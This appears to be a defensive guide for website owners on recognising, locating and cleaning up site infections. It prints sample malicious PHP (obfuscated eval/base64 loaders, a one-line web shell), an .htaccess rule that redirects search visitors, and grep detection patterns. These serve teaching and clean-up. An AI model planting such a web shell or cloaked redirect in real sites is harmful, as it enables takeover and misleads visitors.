A website can be infected and look perfectly normal for weeks - to you. Malicious code often shows itself to only some visitors: those coming from Google, on a phone, or visiting for the first time. The owner checks the site every day and sees nothing, while Google marks it as dangerous. This article helps you spot the signs, find suspicious files and clean up.
In short
- Signs: odd redirects (often only from Google or on phones), strange pages in search results, a warning in Search Console, new administrators.
- Typical malicious PHP uses
eval,base64_decode,gzinflate, and PHP files sit in the images folder. - Cleaning up is more than deleting files: change every password, reinstall code from a clean source, update, and find the hole they came in through.
A stowaway
Malicious code on a site is a stowaway: it sits quietly in a corner so nobody throws it out. It does not want to break the site, because a broken site gets fixed. It wants to use it - to send spam, redirect visitors to dodgy shops and casinos, add links that "boost" other people's sites, or attack more servers.
It usually gets in through an outdated plugin or theme, a weak or stolen password (to the admin panel, FTP or hosting), or a "free" copy of a paid plugin from an unofficial source.
The signs
- Redirects to strange sites, but only sometimes: after arriving from Google, on a phone, on a first visit. Check in a private window and on a phone over mobile data.
- Strange pages in Google - search for
site:yourdomain.com. Hundreds of pages in Japanese, about pills or knock-offs, that you never wrote? A classic infection. - A warning in Google Search Console (the "Security issues" section), or a red "Dangerous site" screen in the browser.
- Your host suspends the account or writes about spam being sent or a heavy load.
- New administrators in the admin panel that nobody added.
- Odd files with names that look like system ones, or changed a few days ago when nobody updated anything.
What malicious code looks like
Malicious PHP is almost always obfuscated, so it cannot be read or easily searched for. Typical patterns:
<?php @eval(base64_decode('ZXZhbCgkX1BPU1RbJ3gnXSk7...'));
<?php $f = str_rot13('tmvasyngr'); eval($f(base64_decode('...')));
<?php if (isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
What they share: eval running text as code, strings encoded in base64, unpacking functions (gzinflate, str_rot13), and commands taken from the request ($_REQUEST, $_POST). It often sits on the first line of a file, pushed hundreds of spaces to the right so it does not show in an editor.
Another favourite hiding place is the .htaccess file, with a redirect only for visitors from a search engine:
RewriteCond %{HTTP_REFERER} (google|bing) [NC]
RewriteRule .* https://dodgy-site.example/ [R=302,L]
Which is why the owner, typing the address by hand, sees nothing.
Finding suspicious files
With SSH access to the server (or on a copy of the files on your computer), these commands help:
# PHP files changed in the last 7 days
find . -name "*.php" -mtime -7
# PHP in the images folder - WordPress almost never has any there
find wp-content/uploads -name "*.php"
# suspicious functions (expect false alarms too)
grep -rnE "eval\(|base64_decode\(|gzinflate\(|str_rot13\(" --include=*.php .
In WordPress, comparing files with the originals works best. WP-CLI does it in one command and points out every changed or foreign file in the core and in plugins from the official directory:
wp core verify-checksums
wp plugin verify-checksums --all
Do not forget the database: <script> tags injected into posts, a changed site address in the settings, new users with the administrator role.
Cleaning up, step by step
- Make a copy of the infected site (files and database). It sounds odd, but it helps work out what happened, and if something goes wrong you will not lose your content.
- Change every password: hosting, FTP/SSH, the database, every site administrator. In WordPress, generate new keys in
wp-config.phpas well - that logs everyone out, the intruder included. Make strong passwords with the password generator. - Restore clean code. The safest route: core, theme and plugins uploaded afresh from official sources, rather than "cleaned" by hand. If you have a backup from before the infection, restore it - but first work out when the infection started.
- Remove the foreign files and accounts you found, and clean the database.
- Update everything and delete unused plugins and themes. If you do not find the hole they came through, they will come back.
- Request a review in Google Search Console once the site is clean. The warning usually goes within a few days.
If the site matters to your business and the commands above look foreign, now is a good time to get a specialist or your host involved - many hosting companies offer a clean-up service.
Protecting yourself
- Updates - the most common way in is a known hole in an old plugin version.
- Strong, unique passwords, and two-step login wherever possible.
- Plugins only from official sources. "Free" copies of paid plugins very often come with an extra you did not ask for.
- Block PHP in the uploads folder - a few lines of .htaccess mean that even a PHP file uploaded there will not run.
- Automatic backups kept off the server.
- Monitoring: a Search Console account (it will tell you about problems) and a 404 log - hundreds of requests for files that do not exist are bots looking for holes (more in Redirects: .htaccess, PHP or a plugin?).